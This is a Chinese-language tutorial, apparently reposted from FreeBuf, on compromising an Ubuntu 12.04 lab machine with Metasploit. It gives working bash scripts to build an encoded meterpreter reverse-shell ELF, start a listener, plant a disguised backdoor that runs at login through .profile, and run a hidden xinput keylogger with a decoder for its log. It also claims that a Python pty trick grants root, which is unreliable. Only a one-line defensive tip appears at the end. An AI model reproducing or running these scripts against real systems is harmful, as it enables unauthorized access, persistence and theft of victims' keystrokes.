Metasploit渗透Ubuntu 12.04攻击测试演练

安全 网站安全
这篇文章写来主要是一次娱乐性的练习。共享出攻击的细节,其中包括一些经过原作者修改过的各种来源的脚本文件。渗透的过程不是重点,之所以发出来最大的原因主要是文章后半部分维持持久化攻击的一些地方还是很值得学习的,顺便大家也可以再次熟悉一下MSF框架。

这篇文章写来主要是一次娱乐性的练习。共享出攻击的细节,其中包括一些经过原作者修改过的各种来源的脚本文件。渗透的过程不是重点,之所以发出来最大的原因主要是文章后半部分维持持久化攻击的一些地方还是很值得学习的,顺便大家也可以再次熟悉一下MSF框架。希望对大家有所帮助。

攻击环境:

Ubuntu12.04LTS 32bit(靶机,默认的软件安装配置)

VirtualBox

Metasploit framework(最新版)

Debian Squeeze 64bit (攻击机)

首先,我们先准备一个简单的二进制ELF可执行文件生成器的bash脚本,这样后续工作就可以轻松很多。然后将脚本放在Metasploit的主目录下:

  1. #!/bin/bash  
  2. clear  
  3. echo"************************************************"  
  4. echo " LINUX ELF BINARY GENERATOR FOR METASPLOIT    *"  
  5. echo"************************************************"  
  6. echo -e "What IP are we gonna use  ex. 192.168.0.1?  \c"  
  7. read IP  
  8. echo -e "What Port Number are we gonnalisten to? : \c"  
  9. read port  
  10. ./msfpayloadlinux/x86/meterpreter/reverse_tcp LHOST=$IP LPORT=$port R| ./msfencode -t elf-e x86/shikata_ga_nai >> Executive  
  11. echo "Executive binarygenerated.."  
  12. chmod u=rwx Executive  
  13. ls -la Executive 

运行脚本之后进行简单的配置之后我们就有了一个名为Executive的二进制可执行文件。

接下来需要我们在攻击机上启动一个监听来等待靶机主动连上来,因为我们这里使用了全球流行的reverse后门哇咔咔!为了工作更加简(zhuang)单(bi),我这里又写了一个bash,然后将bash文件也放在Metasploit的主目录下面:

  1. #!/bin/bash  
  2. clear  
  3. echo"*********************************************"  
  4. echo "   METASPLOIT LINUX METERPRETER LISTENER    *"  
  5. echo"*********************************************"  
  6. echo "Here is a network device listavailable on yor machine"  
  7. cat /proc/net/dev | tr -s  ' ' | cut -d ' ' -f1,2 | sed -e '1,2d'  
  8. echo -e "What network interface are wegonna use ?  \c"  
  9. read interface  
  10. echo -e "What Port Number are we gonnalisten to? : \c"  
  11. read port  
  12. # Get OS name  
  13. OS=`uname`  
  14. IO="" # store IP  
  15. case $OS in  
  16.   Linux) IP=`/sbin/ifconfig $interface | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print$1}'`;;  
  17.    *)IP="Unknown";;  
  18. esac  
  19. echo "      starting the meterpreter listener.."  
  20. ./msfcli exploit/multi/handler  PAYLOAD=linux/x86/meterpreter/reverse_tcp  LHOST=$IP LPORT=$port  E 

好了,监听生成结束,然后就需要我们使用各种猥琐的方式将后门木马转给Ubuntu靶机执行。因为这里是练习,所以我们直接将ELF文件放在受害机中执行

此处有图胜有声

Metasploit渗透Ubuntu 12.04攻击测试演练

现在我们就已经在靶机上成功执行了这个“未知”的二进制文件。当我们双击这个文件时没有任何反应(所以这个时候后门注入才是王道),不过我们的攻击机上的监听已经有了结果:

Metasploit渗透Ubuntu 12.04攻击测试演练

然后呢?我们现在有了一个meterpreter shell,不过应该怎样获取到root权限呢?接下来的工作才是最有趣的部分:接下来,我们将在靶机的home中放一个后门文件,并通过修改.profile文件做到每次靶机启动的时候都会执行我们的后门。为了做到这步,我们首先需要下载靶机的.profile文件:

Metasploit渗透Ubuntu 12.04攻击测试演练

我们在文件中加了一点点内容以保证每次登录都能成功执行我们的后门文件,这里加的是./executive(用的就是生成的后门文件名,这里我们可以起一些诱惑性大的名字比如sys.conf之类的,但是要保证文件具有可执行+x权限)

Metasploit渗透Ubuntu 12.04攻击测试演练

然后我们将修改后的.profile文件传回靶机

Metasploit渗透Ubuntu 12.04攻击测试演练

接着我们上传我们的ELF二进制可执行文件到靶机的home目录里面,并改名为executive同时要保证文件具有RWX属性

Metasploit渗透Ubuntu 12.04攻击测试演练 

Metasploit渗透Ubuntu 12.04攻击测试演练

那么现在我们就获得了一个简单的持久性后门,每次靶机开机我们这边就可以获得一个上线shell,并且文件时静默执行不含任何防腐剂的。

好的,第一步持久化我们已经完成了,接下来我们做点什么呢?#p#

键盘记录

Ubuntu自带xinput所以我们可以利用这个做一个键盘记录keylogger记录靶机在X界面下的一些按键输入。同时这里作者又写了一bash脚本(……):

  1. #!/bin/bash  
  2. export DISPLAY=:0.0  
  3. xinput list  
  4. echo -e "KBD ID ?"  
  5. read kbd  
  6. xmodmap -pke > /tmp/.xkey.log  
  7. script -c "xinput test $kbd" |cat >> /tmp/.xkey.log &  
  8. echo "The keylog can be downloadedfrom /tmp/.xkey.log"  
  9. echo "Use the meterpreter downloadfunction"  
  10. echo "Press CTLR+C to exit thissession, keylogger will run in backround" 

写完之后我们将脚本放在靶机中然后执行。当然最好也来个登录启动。

Metasploit渗透Ubuntu 12.04攻击测试演练

启动之后我们还需要手工找到键盘的KBD ID,然后输入,这里是10

Metasploit渗透Ubuntu 12.04攻击测试演练

然后让脚本去识别一下。脚本记录的log文件默认是放在/tmp文件夹下的,一段时间之后,我们下载下来分析一下。

Metasploit渗透Ubuntu 12.04攻击测试演练

这个脚本的生成的内容地球人是看不懂的,所以我们将log文件down下来之后还需要进行接下来的处理,这里作者写了一个bash文件生成了一个python脚本来解码这段天书log(…),下面是解码的bash脚本:

  1. #!/bin/sh  
  2. cat .xkey.log | grep keycode >xmodmap.pke  
  3. cat .xkey.log | grep 'key p' > xlog  
  4. rm -f .xkey.log  
  5. #Generating some Python to do the decoding  
  6. echo 'import re, collections, sys' >decoder.py  
  7. echo 'from subprocess import *' >>decoder.py  
  8. echo 'def keyMap():' >> decoder.py  
  9. echo '  table = open("xmodmap.pke")' >> decoder.py  
  10. echo '  key = []' >> decoder.py  
  11. echo '  for line in table:' >> decoder.py  
  12. echo "      m = re.match('keycoded+) = (.+)',line.decode())" >> decoder.py  
  13. echo '     if m and m.groups()[1]:' >> decoder.py  
  14. echo '        key.append(m.groups()[1].split()[0]+"_____"+m.groups()[0])'>> decoder.py  
  15. echo '  return key' >> decoder.py  
  16. echo 'def printV(letter):' >>decoder.py  
  17. echo '     key=keyMap();' >> decoder.py  
  18. echo '     for i in key:' >> decoder.py  
  19. echo '              if str(letter) ==i.split("_____")[1]:' >> decoder.py  
  20. echo '                     return i.split("_____")[0]'>> decoder.py  
  21. echo '     return letter' >> decoder.py  
  22. echo 'if len(sys.argv) < 2:>>decoder.py  
  23. echo '        print "Usage: %s FILE" %sys.argv[0];' >> decoder.py  
  24. echo '        exit();' >> decoder.py  
  25. echo 'else:' >> decoder.py  
  26. echo '        f = open(sys.argv[1])' >>decoder.py  
  27. echo '        lines = f.readlines()' >>decoder.py  
  28. echo '        f.close()' >> decoder.py  
  29. echo '        for line in lines:' >> decoder.py  
  30. echo "                m = re.match('keyss +(\d+)',line)" >> decoder.py  
  31. echo '                if m:' >> decoder.py  
  32. echo '                          keycode =m.groups()[0]' >> decoder.py  
  33. echo '                          print(printV(keycode))' >> decoder.py  
  34.    
  35. echo 'Please see LOG-keylogger for theoutput......'  
  36. python decoder.py xlog > LOG  
  37. sed ':a;N;$!ba;s/\n/ /g' LOG >LOG-keylogger  
  38. rm -f LOG  
  39. rm -f xmodmap.pke  
  40. rm -f decoder.py  
  41. rm -f xlog  
  42. cat LOG-keylogger 

现在我们运行一下这个bash脚本,我们就可以看到效果了:

Metasploit渗透Ubuntu 12.04攻击测试演练

好,keylogger也搞完了接下来就是怎么样获取到root权限了。#p#

获取root权限

在这里,因为我们的后门不是root执行的所以当我们执行sudo su的时候是会报错的

Metasploit渗透Ubuntu 12.04攻击测试演练

这里有一个绕过的好方法,就是利用自带的python来获取一个root shell(如果仔细看过我之前VPN渗透那篇文章的同学应该记得这个trick):

python -c “import pty;pty.spawn(‘/bin/bash’)”

这样我们就成功获取到了一个root级别的shell,整个过程就完满完成了。

Metasploit渗透Ubuntu 12.04攻击测试演练

后记

CentOS, Debian Squeeze等有些系统默认是不带xinput的所以keylogger的部分就没办法完成了。

另外,要想防止这个键盘记录其实也很简单,只要去掉xinput的可执行权限就可以了

chmod a-x /path/to/xinput

当然,即便是目标机器上没有自带xinput那难道就会难倒我们么?拜托我们都已经有了meterpreter shell了好么。

最后附上作者做的良心的视频Demo(已搬回墙内,不谢!):

高清视频请自行下载:http://pan.baidu.com/s/1jGpAVWE

有梯子的土豪点这里:http://www.youtube.com/embed/_k_DtYhIOpY

[文/FreeBuf小编xia0k 参考来源:astr0baby.wordpress.com

责任编辑:蓝雨泪 来源: FreeBuf
相关推荐

2013-11-06 16:38:59

2014-07-01 10:09:01

2010-12-27 09:19:23

2015-02-27 16:10:25

2018-10-21 08:14:49

2013-04-19 10:56:54

2013-05-08 10:22:24

2011-12-07 09:45:47

Ubuntu 12.0发行计划

2012-04-27 09:53:37

Ubuntu 12.0

2013-07-18 09:25:43

2021-12-16 12:07:04

渗透测试黑客攻击

2013-08-15 17:32:51

2012-03-31 09:42:21

Ubuntu 12.0测试版发布

2011-12-05 10:10:44

Ubuntu 12.0新版发布

2012-04-18 09:34:37

Ubuntu 12.0商品开售

2012-05-24 17:02:47

Ubuntu 12.0

2011-11-08 10:17:34

Ubuntu 12.0特性

2020-11-20 09:00:00

渗透测试安全工具

2014-01-15 11:25:30

2011-06-13 14:56:10

点赞
收藏

51CTO技术栈公众号